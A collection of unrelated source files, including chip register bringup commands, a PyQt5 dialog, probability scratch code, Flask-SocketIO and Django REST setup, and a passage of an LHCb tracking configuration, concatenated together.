bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 5 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 5 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 5 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 5 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 5 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 5 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 5 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 5 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 5 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 5 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 5 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 5 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 5 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 5 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 5 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 5 mac_addr_1 0x00000500
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 5 mac_addr_1 0x00000501
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 5 mac_addr_1 0x00000502
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 5 mac_addr_1 0x00000503
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 6 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 6 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 6 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 6 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 6 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 6 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 6 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 6 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 6 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 6 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 6 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 6 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 6 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 6 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 6 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 6 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 6 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 6 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 6 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 6 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 6 mac_addr_1 0x00000600
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 6 mac_addr_1 0x00000601
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 6 mac_addr_1 0x00000602
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 6 mac_addr_1 0x00000603
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 7 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 7 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 7 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 7 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 7 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 7 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 7 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 7 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 7 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 7 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 7 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 7 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 7 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 7 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 7 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 7 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 7 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 7 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 7 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 7 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 7 mac_addr_1 0x00000700
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 7 mac_addr_1 0x00000701
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 7 mac_addr_1 0x00000702
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 7 mac_addr_1 0x00000703
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 8 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 8 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 8 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 8 pcs_control1 0x0000204c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 mac_addr_1 0x00000800
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 mac_addr_1 0x00000801
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 mac_addr_1 0x00000802
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 mac_addr_1 0x00000803
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 9 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 9 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 9 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 9 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 9 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 9 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 9 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 9 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 9 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 9 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 9 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 9 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 9 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 9 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 9 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 9 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 9 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 9 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 9 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 9 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 9 mac_addr_1 0x00000900
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 9 mac_addr_1 0x00000901
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 9 mac_addr_1 0x00000902
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 9 mac_addr_1 0x00000903
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 10 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 10 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 10 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 10 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 10 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 10 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 10 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 10 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 10 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 10 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 10 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 10 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 10 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 10 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 10 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 10 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 10 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 10 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 10 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 10 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 10 mac_addr_1 0x00000a00
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 10 mac_addr_1 0x00000a01
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 10 mac_addr_1 0x00000a02
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 10 mac_addr_1 0x00000a03
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 11 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 11 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 11 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 11 command_config 0x00000810
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_pcs_set 11 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_pcs_set 11 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_pcs_set 11 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_pcs_set 11 pcs_control1 0x00002040
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 11 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 11 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 11 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 11 frm_length 0x00003fe0
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 11 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 11 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 11 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 11 tx_ipg_length 0x0000000c
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 11 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 11 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 11 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 11 mac_addr_0 0xefbeadde
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 11 mac_addr_1 0x00000b00
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 11 mac_addr_1 0x00000b01
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 11 mac_addr_1 0x00000b02
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 11 mac_addr_1 0x00000b03
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_global_set mlg_mode_enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_global_set mlg_mode_enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_global_set mlg_mode_enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_global_set mlg_mode_enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 0 chan_misc port_alarms status 0x07ffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_misc port_alarms status 0x07ffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_misc port_alarms status 0x07ffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_misc port_alarms status 0x07ffffff
bringup jspec write pechip[0] register pg_cxlmacpcs perr interrupts status 0x000007ff
bringup jspec write pechip[0] register pg_chmac 0 chan_misc port_alarms2 status 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_misc port_alarms2 status 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_misc port_alarms2 status 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_misc port_alarms2 status 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_misc port_alarms3 enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 1 chan_misc port_alarms3 enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 2 chan_misc port_alarms3 enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 3 chan_misc port_alarms3 enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 0 chan_misc port_alarms3 status 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_misc port_alarms3 status 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_misc port_alarms3 status 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_misc port_alarms3 status 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_misc port_alarms enable 0x07ffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_misc port_alarms enable 0x07ffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_misc port_alarms enable 0x07ffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_misc port_alarms enable 0x07ffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_misc port_alarms poll_enable 0x07ffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_misc port_alarms poll_enable 0x07ffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_misc port_alarms poll_enable 0x07ffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_misc port_alarms poll_enable 0x07ffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_misc port_alarms2 enable 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_misc port_alarms2 enable 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_misc port_alarms2 enable 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_misc port_alarms2 enable 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_misc port_alarms2 poll_enable 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_misc port_alarms2 poll_enable 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_misc port_alarms2 poll_enable 0x00ffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_misc port_alarms2 poll_enable 0x00ffffff
|
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'takingnote.ui'
#
# Created by: PyQt5 UI code generator 5.6
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Dialog(object):
def setupUi(self, Dialog):
Dialog.setObjectName("Dialog")
Dialog.resize(800, 603)
Dialog.setMinimumSize(QtCore.QSize(795, 0))
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap("img/fb.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
Dialog.setWindowIcon(icon)
self.label_2 = QtWidgets.QLabel(Dialog)
self.label_2.setGeometry(QtCore.QRect(10, 30, 771, 471))
self.label_2.setMaximumSize(QtCore.QSize(16777215, 471))
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.label_2.setFont(font)
self.label_2.setText("")
self.label_2.setPixmap(QtGui.QPixmap("./img/fb.PNG"))
self.label_2.setObjectName("label_2")
self.horizontalLayoutWidget = QtWidgets.QWidget(Dialog)
self.horizontalLayoutWidget.setGeometry(QtCore.QRect(10, 520, 771, 51))
self.horizontalLayoutWidget.setObjectName("horizontalLayoutWidget")
self.horizontalLayout = QtWidgets.QHBoxLayout(self.horizontalLayoutWidget)
self.horizontalLayout.setContentsMargins(0, 0, 0, 0)
self.horizontalLayout.setObjectName("horizontalLayout")
self.pushButton_3 = QtWidgets.QPushButton(self.horizontalLayoutWidget)
self.pushButton_3.setObjectName("pushButton_3")
self.horizontalLayout.addWidget(self.pushButton_3)
self.pushButton_2 = QtWidgets.QPushButton(self.horizontalLayoutWidget)
self.pushButton_2.setObjectName("pushButton_2")
self.horizontalLayout.addWidget(self.pushButton_2)
spacerItem = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.horizontalLayout.addItem(spacerItem)
self.pushButton = QtWidgets.QPushButton(self.horizontalLayoutWidget)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.pushButton.setFont(font)
self.pushButton.setStyleSheet("background-color: rgb(0, 85, 255);\n"
"background-color: rgb(85, 170, 255);")
self.pushButton.setObjectName("pushButton")
self.horizontalLayout.addWidget(self.pushButton)
spacerItem1 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.horizontalLayout.addItem(spacerItem1)
self.pushButton_4 = QtWidgets.QPushButton(self.horizontalLayoutWidget)
self.pushButton_4.setObjectName("pushButton_4")
self.horizontalLayout.addWidget(self.pushButton_4)
self.pushButton_5 = QtWidgets.QPushButton(self.horizontalLayoutWidget)
self.pushButton_5.setObjectName("pushButton_5")
self.horizontalLayout.addWidget(self.pushButton_5)
self.label_2.raise_()
self.horizontalLayoutWidget.raise_()
self.retranslateUi(Dialog)
QtCore.QMetaObject.connectSlotsByName(Dialog)
def retranslateUi(self, Dialog):
_translate = QtCore.QCoreApplication.translate
Dialog.setWindowTitle(_translate("Dialog", "Dialog"))
self.pushButton_3.setText(_translate("Dialog", "<< Home"))
self.pushButton_2.setText(_translate("Dialog", "< Prev"))
self.pushButton.setText(_translate("Dialog", "필기 시작"))
self.pushButton_4.setText(_translate("Dialog", "Next >"))
self.pushButton_5.setText(_translate("Dialog", "End >>"))
if __name__ == "__main__":
import sys
app = QtWidgets.QApplication(sys.argv)
Dialog = QtWidgets.QDialog()
ui = Ui_Dialog()
ui.setupUi(Dialog)
Dialog.show()
sys.exit(app.exec_())
|
print('''
This is a sample structural_dhcp_rst2pdf extension.
Because it is named 'sample.py' you can get structural_dhcp_rst2pdf to import it by
putting '-e sample' on the structural_dhcp_rst2pdf command line.
An extension is called after the command-line is parsed, and can
monkey-patch any necessary changes into structural_dhcp_rst2pdf.
An extension can live either in the extensions subdirectory, or
anywhere on the python path.
''')
def install(createpdf, options):
''' This function is called with an object with the createpdf
module globals as attributes, and with the options from
the command line parser. This function does not have
to exist, but must have the correct call signature if
it does.
'''
|
import csv
import math
# Even probability
vals = [0, 1, 2, 3, 4, 5, 6]
# Method 1
def expected_val(arr, var):
arr.append(var)
ex = 0
for i in range(0, len(arr)):
ex += (float(arr[i]) / len(arr))
return ex
# Method 2
def expected_val2(arr, var):
arr.append(var)
ex = 0
for x in range(1, max(arr)+10):
gtCt = 0
for i in range(0, len(arr)):
if arr[i] >= x:
gtCt += 1
ex += float(gtCt) / len(arr)
return ex
##with open('exp_val.csv', mode='w', newline='') as exp_val:
## csv_writer = csv.writer(exp_val, delimiter=',')
##
## csv_writer.writerow(['Variable Dice Face', 'Expected Value'])
##
## for i in range(8, 1000):
## csv_writer.writerow([i, expected_val(list(vals), i)])
##for i in range(0, 100):
## print([i, expected_val(list(vals), i)])
##print(expected_val(list(vals), 10))
##print(expected_val2(list(vals), 10))
# Some e stuff now
def exp(x, terms):
s = 0
for i in range(0, terms):
s += math.pow(x, i) / math.factorial(i)
return s
num = 4
##print(math.exp(num))
##print(exp(num, 1))
##for x in range(1, 100):
## print([math.exp(num), exp(num, x)])
nums = [2, 1, 0.5, 0.3, 0.1, .001]
##for x in nums:
## x = x * -1
## print([x, math.exp(x), exp(x, 2)])
########### Probabilities
def distinct(k, n):
prob = 1
for j in range(0, k):
prob *= (1-(j/n))
return prob
def coll(k, n):
return 1 - distinct(k, n)
s = 0
for x in range(0, 101):
s += x
print(s)
def e_distinct(k, n, approx = False):
return math.exp(-1 * k * ((k-1), k)[approx] / (2 * n))
def get_diff():
picks = 1000
choices = 36500
totaldiff = 0
## for x in range(2, 10000):
## totaldiff += abs(e_distinct(x, choices) - distinct(x, choices))
## print(totaldiff)
print([distinct(picks, choices), e_distinct(picks, choices)])
print(e_distinct(picks, choices) - distinct(picks, choices))
print([distinct(picks, choices), e_distinct(picks, choices, True)])
print(e_distinct(picks, choices, True) - distinct(picks, choices))
get_diff()
|
from flask_socketio import SocketIO
import eventlet
socketio = SocketIO()
def createSocket(app):
asyncMode = 'eventlet'
socketio.init_app(app, asyncMode=asyncMode, cors_allowed_origins="*")
return True |
from django.conf import settings
from django.urls import path, re_path, include
from rest_framework.routers import DefaultRouter
from restaurant.api import views
router = DefaultRouter()
router.register(r'client', views.MasterClientViewSet)
router.register(r'restaurant', views.MasterRestaurantViewSet)
router.register(r'premise', views.MasterPremiseViewSet)
router.register(r'premise-section', views.PremiseSectionsViewSet)
router.register(r'device', views.MasterDeviceViewSet)
router.register(r'client-configuration', views.ClientConfigurationViewSet)
router.register(r'client-role', views.ClientRolesViewSet)
router.register(r'client-invoice', views.MasterClientInvoiceViewSet)
router.register(r'client-payment', views.ClientPaymentsViewSet)
router.register(r'client-account', views.ClientAccountViewSet)
router.register(r'transcation-log', views.TransactionLogViewSet)
app_name = 'restaurant'
urlpatterns = [
path('', include(router.urls)),
] |
# The file in which we define all known tracking
# configurations for HLT2
#
__author__ = "V. Gligorov vladimir.gligorov@cern.ch"
from Hlt2Tracking import Hlt2Tracking
#from HltTrackNames import HltBiDirectionalKalmanFitSuffix
from HltTrackNames import HltDefaultFitSuffix
#from HltTrackNames import HltUniDirectionalKalmanFitSuffix
#
# Define all the instances of Hlt2Tracking
#
# With seeding and track fitting
# note : In 2011, this ran only the forward tracking, hence the name.
# For 2012, it has been modified to do the seeding and clone killing,
# but the name has been kept to simplify all the lines which depend on it.
#
#def Hlt2LongTracks():
# return Hlt2Tracking("Hlt2LongTracks",
# FastFitType = HltDefaultFitSuffix,
# Hlt2Tracks = 'Long',
# DoSeeding = True,
# DoCloneKilling = True
# )
#
#def Hlt2BiKalmanFittedForwardTracking() :
